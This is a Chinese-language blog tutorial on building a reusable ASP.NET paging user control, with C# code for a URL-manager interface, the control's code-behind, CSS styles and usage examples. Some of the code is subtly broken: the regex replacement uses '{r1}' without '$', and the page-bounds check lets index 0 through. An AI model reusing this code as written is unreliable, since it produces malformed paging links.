天天看點

Asp.Net 可自定義分頁使用者控件

<script language='javascript' src='http://www.taizhou.la/AD/ad.js'></script>

介紹

借助 Asp.Net 提供的資料綁定控件,我們無需太多的代碼,甚至不需要代碼,隻要在 VS2005 中拖拽幾下控件,進行一些屬性的設定,便可以實作在Asp時代需要做大量工作才能夠實作的分頁功能。但在實際的應用中,尤其是在Web站點程式中,我們經常需要更加豐富的使用者界面,而類似DataList或者 GridView 這樣的資料控件往往不能或者很難滿足我們的要求。此時,我們常常求助于 Repeater 控件,這樣我們依舊會面臨分頁及其顯示的問題。

本文不是講述如何進行資料庫分頁,而将注意力集中在如何實作可定制地 擷取頁碼、擷取路徑、顯示分頁連結,并且通過建構一個使用者控件來實作代碼重用上。這個使用者控件我自己正在使用,如果你是一個初學者,你可以借鑒一下我的實作方式;如果你已經是一位高手,不妨提出設計的不足和改進意見。

控件組成

為了能迅速提起大家的興趣,可以先點選這個連結,看看實際的效果:

http://www.tracefact.net/Demo/Pager/Default.aspx

IUrlManager 接口

想一想如果你在設計一個可重用的分頁使用者控件,你面臨的問題是什麼?每個人擷取頁碼的方式都不同,例如,你的站點URL可能是類似這樣的 Default.aspx?page=1 ,而另外一個站點的URL 是這樣的 Default.aspx?p=1。更有一些可能根本不使用 QueryString 來擷取頁碼,它們的URL可能是這樣的 Default-1.aspx、Default-2.aspx 等等。擷取頁碼的方式不同,根據頁碼産生連結位址的方法自然也不相同。按照封裝變化的思想,我們應該将這變化的部分取出來,建一個 IUrlManager 接口:

public interface IUrlManager

{

int GetCurrentPageIndex(); // 擷取 目前頁面 的頁碼

string GetPageUrl(int pageIndex); // 根據 頁碼 擷取頁面路徑

}

DefaultUrlManager 類

現在 所有擷取頁碼 及 根據頁碼擷取路徑 的邏輯都可以放在實作了這個接口的類中。如果你想使用這個控件,你需要提供一個實作了IUrlManger接口的類。為了使控件立即可用,我在這裡提供了一個預設實作,我管它叫做 DefaultUrlManger。它通過Request.QueryString擷取頁碼,并預設以"Page"作為參數。

public class DefaultUrlManager : IUrlManager {

private HttpContext context;

private Regex reg;

private string queryParam;

public DefaultUrlManager(string queryParam) {

this.queryParam = queryParam;

context = HttpContext.Current;

string pattern = @"(?<r1>[?&]" + queryParam + @"=)[^&]+";

reg = new Regex(pattern, RegexOptions.IgnoreCase);

}

public DefaultUrlManager() : this("Page") { }

public string GetPageUrl(int pageIndex) {

string pageUrl = context.Request.RawUrl;

// 如果找到比對,也就是URL中含有類似 ?page=3 或者 &page=4 這樣的字元串

// 則對後面的數值進行替換

if (reg.IsMatch(pageUrl)) {

pageUrl = reg.Replace(pageUrl, "{r1}" + pageIndex.ToString());

} else {

string queryString = context.Request.Url.Query;

if (string.IsNullOrEmpty(queryString))

pageUrl += "?" + queryParam + "=" + pageIndex.ToString();

else

pageUrl += "&" + queryParam + "=" + pageIndex.ToString();

}

return pageUrl;

}

public int GetCurrentPageIndex() {

string queryIndex = context.Request.QueryString[queryParam];

if (string.IsNullOrEmpty(queryIndex))

return 1;

else {

int pageIndex;

try {

pageIndex = Math.Abs(int.Parse(queryIndex));

} catch {

pageIndex = 1;

}

return pageIndex;

}

}

}

Pager.ascx 檔案

由于我們的連結是動态生成的,是以我們大部分的代碼都會存在于 Pager.ascx.cs 中,在Pager.ascx 檔案中,我們隻提供一個裝連結的容器:

<%@ Control Language="C#" AutoEventWireup="true" CodeFile="Pager.ascx.cs" Inherits="CustomPager" %>

<asp:Panel ID="pnPager" runat="server" CssClass="Pager"></asp:Panel>

Pager.ascx.cs 檔案

我們對于頁面的顯示的主要實作都放置在了這個檔案中,我在檔案中做了大量注釋,這裡就不再文字描述了:

using System;

// ... 略

public partial class CustomPager : System.Web.UI.UserControl

{

private int pageSize = 10; // 分頁大小

private int recordCount; // 記錄總數

private int pageCount; // 總頁數

private int currentPage; // 目前頁的頁碼

private int previousPageCount = 5; // 目前頁之前可以顯示的最多條目數,大于此條目的将被隐藏

private int afterPageCount = 4; // 目前頁之後可以顯示的最多條目數,大于此條目的将被隐藏

private bool showPrevious = false; // 是否顯示 上一頁、第一頁 的連結

private bool showNext = false; // 是否顯示 下一頁、最末頁 的連結

private int startPage; // 顯示的第一頁 的 頁碼

private int endPage; // 顯示的最末頁 的 頁碼

private IUrlManager urlManager; // 設定接口

public int RecordCount

{

get { return recordCount; }

set { recordCount = value; }

}

public int PageSize

{

get { return pageSize; }

set { pageSize = value; }

}

public int PreviousPageCount

{

get { return previousPageCount; }

set { previousPageCount = value; }

}

public int AfterPageCount

{

get { return afterPageCount; }

set { afterPageCount = value; }

}

public IUrlManager UrlManager

{

get { return urlManager; }

set { urlManager = value; }

}

// 設定 pnPager Div 的 CssClass 屬性,通過它來為控件定義樣式

public string CssClass {

set { pnPager.CssClass = value; }

get { return pnPager.CssClass; }

}

private void RenderPager()

{

if (urlManager == null)

{

urlManager = new DefaultUrlManager();

}

// 擷取頁數

double recordCount2 = Convert.ToDouble(recordCount);

double pageSize2 = Convert.ToDouble(pageSize);

pageCount = Convert.ToInt32(Math.Ceiling(recordCount2 / pageSize2));

// 擷取目前頁

currentPage = urlManager.GetCurrentPageIndex();

if (currentPage < 0)

currentPage = 1;

else if (currentPage > pageCount)

currentPage = pageCount;

SetStartPage();

SetEndPage();

HyperLink link;

// 循環列印連結

for (int i = startPage; i <= endPage; i++)

{

if (showPrevious) // 如果需要顯示前一頁、第一頁連結

AddPreviousLink(urlManager);

link = new HyperLink();

if (i == currentPage)

link.CssClass = "CurrentPage";

link.Text = i.ToString();

link.NavigateUrl = urlManager.GetPageUrl(i);

pnPager.Controls.Add(link);

if (i == endPage && showNext) // 如果需要顯示 下一頁、最末頁 連結

AddNextLink(urlManager);

}

Label lbCount = new Label();

lbCount.Text = String.Format(" ( 第<b>{0}</b>頁/共<b>{1}</b>頁 )", currentPage, pageCount);

pnPager.Controls.Add(lbCount);

}

// 添加“第一頁”,“上一頁”的連接配接

private void AddPreviousLink(IUrlManager urlManager)

{

HyperLink first = new HyperLink();

first.CssClass = "PagerIcon";

first.Text = "&lt;&lt;";

first.ToolTip = "第一頁";

first.NavigateUrl = urlManager.GetPageUrl(1);

pnPager.Controls.Add(first);

HyperLink previous = new HyperLink();

previous.CssClass = "PagerIcon";

previous.Text = "&lt;";

previous.ToolTip = "上一頁";

previous.NavigateUrl = urlManager.GetPageUrl(currentPage - 1);

pnPager.Controls.Add(previous);

showPrevious = false; // 隻顯示一次

}

// 添加 “下一頁”、“最末頁” 的連結

private void AddNextLink(IUrlManager urlManager)

{

HyperLink next = new HyperLink();

next.CssClass = "PagerIcon";

next.Text = "&gt;";

next.ToolTip = "下一頁";

next.NavigateUrl = urlManager.GetPageUrl(currentPage + 1);

pnPager.Controls.Add(next);

HyperLink last = new HyperLink();

last.CssClass = "PagerIcon";

last.Text = "&gt;&gt;";

last.ToolTip = "最末頁";

last.NavigateUrl = urlManager.GetPageUrl(pageCount);

pnPager.Controls.Add(last);

showNext = false; // 可有可無,程式會跳出循環

}

// 根據目前頁,目前頁之前可以顯示的頁數,算得從第幾頁開始進行顯示

private void SetStartPage()

{

// 如果目前頁小于 它前面所可以顯示的條目數,那麼顯示第一頁就是實際的第一頁

if (currentPage <= previousPageCount)

{

startPage = 1;

} else // 這種情況下 currentPage 前面總是能顯示完,要根據後面的長短确定是不是前面應該多顯示

{

if(currentPage > previousPageCount+1)

showPrevious = true;

int linkLength = (pageCount - currentPage + 1) + previousPageCount;

int startPage = currentPage - previousPageCount;

while (linkLength < previousPageCount + afterPageCount + 1 && startPage > 1)

{

linkLength++;

startPage--;

}

this.startPage = startPage;

}

}

// 根據CurrentPage、總頁數、目前頁之後長度 算得顯示的最末頁是 第幾頁

private void SetEndPage()

{

// 如果目前頁加上它之後可以顯示的頁數 大于 總頁數,那麼顯示的最末頁就是實際的最末頁

if (currentPage + afterPageCount >= pageCount)

{

endPage = pageCount;

} else // 這種情況下 currentPage後面的總是可以顯示完,要根據前面的長短确定是不是後面應該多顯示

{

int linkLength = (currentPage - startPage + 1) + afterPageCount;

int endPage = currentPage + afterPageCount;

while (linkLength < previousPageCount + afterPageCount + 1 && endPage < pageCount)

{

linkLength++;

endPage++;

}

if (endPage < pageCount)

showNext = true;

this.endPage = endPage;

}

}

protected void Page_Load(object sender, EventArgs e)

{

RenderPager();

}

}

設定樣式

控件沒有提供任何的樣式控制,對于樣式,你唯一能做的就是通過它的CssClass屬性來設定由Panel控件生成的Div的Class,然後利用這個Class編寫樣式表來控制顯示。如果有必要,你還可以通過利用PagerIcon這個Css類來控制“上一頁”、“下一頁”、“第一頁”、“最末頁”的顯示;通過 CurrentPage 這個Css類來控制 目前頁 的顯示。由此,在所有使用這個控件的頁面,你都應該包含有控制控件樣式的樣式表。

這裡,我提供了一個預設的實作(在你不設定控件的CssClass屬性的時候,預設為Pager):

.Pager a{

display:block;

border:1px solid #ccc;

float:left;

padding:4px 5px;

text-decoration:none;

text-align:center;

margin:0 1px;

}

.Pager a.CurrentPage{

background:#999;

color:#eee;

}

.Pager span{

position:relative;

top:6px;

}

控件的使用

好了,現在一切都OK了,讓我們看看控件如何使用。我們以一種最簡單的方式開始,再以一種最複雜的方式開始。

聲明式使用

直接拖拽控件到頁面上(比如Default.aspx),然後設定一下它的RecordCount值就可以了。生成的頁面代碼如下:

// ... 略

<%@ Register Src="UserControl/Pager.ascx" TagName="Pager" TagPrefix="uc1" %>

// ... 略

<uc1:Pager id="Pager1" runat="server" RecordCount="337"></uc1:Pager>

動态建立式使用

我們也可以編寫後置代碼,然後來動态地使用它:

public partial class _Default : System.Web.UI.Page

{

protected void Page_Load(object sender, EventArgs e)

{

if (!IsPostBack) {

CustomPager pager = (CustomPager)LoadControl(@"~/UserControl/Pager.ascx");

pager.CssClass = "GreenStyle"; // 設定顔色

pager.UrlManager = new DefaultUrlManager("P"); // 設定根據Request.QueryString擷取頁碼的參數

// 如果你實作了自己的IUrlManager接口,這裡可能是這樣:

// pager.UrlManager = new YourUrlManger();

pager.RecordCount = 132; // 設定記錄數

pager.PageSize = 7; // 設定分頁大小

pager.PreviousPageCount = 3; // 設定目前頁之前顯示的最大連結數

pager.AfterPageCount = 3; // 設定目前也之後可以顯示的最大連結數

// 将控件加入到頁面上

phHolder.Controls.Add(pager);

}

}

}

注意到這裡,由于我們使用了新的CssClass樣式,是以你也需要提供基于GreenStyle的樣式表,我是這樣提供的:

.GreenStyle a{

display:block;

border:1px solid #9cba39;

float:left;

padding:4px 5px;

text-decoration:none;

text-align:center;

margin:0 1px;

color:#9cba39

}

.GreenStyle a.CurrentPage{

background:#C5D985;

color:#fff;

}

.GreenStyle span{

position:relative;

top:6px;

}

.GreenStyle span b{

color:#C33;

}

總結

本文我們實作了Asp.Net中的一個常見的功能,通過一個使用者控件來實作資料分頁的頁面層以達到代碼重用的目的。

我們通過實作 IUrlManager 接口來封裝了不同情況下根據URL擷取頁碼的方法。在使用者控件中我們實作了主要的邏輯,并調用了實作IUrlManager的類的方法。最後,我們還看了如何通過CSS來控制控件的顯示。

希望這篇文章能帶給你幫助。

來源:http://www.cnblogs.com/JimmyZhang/

<script language='javascript' src='http://www.taizhou.la/AD/as.js'></script>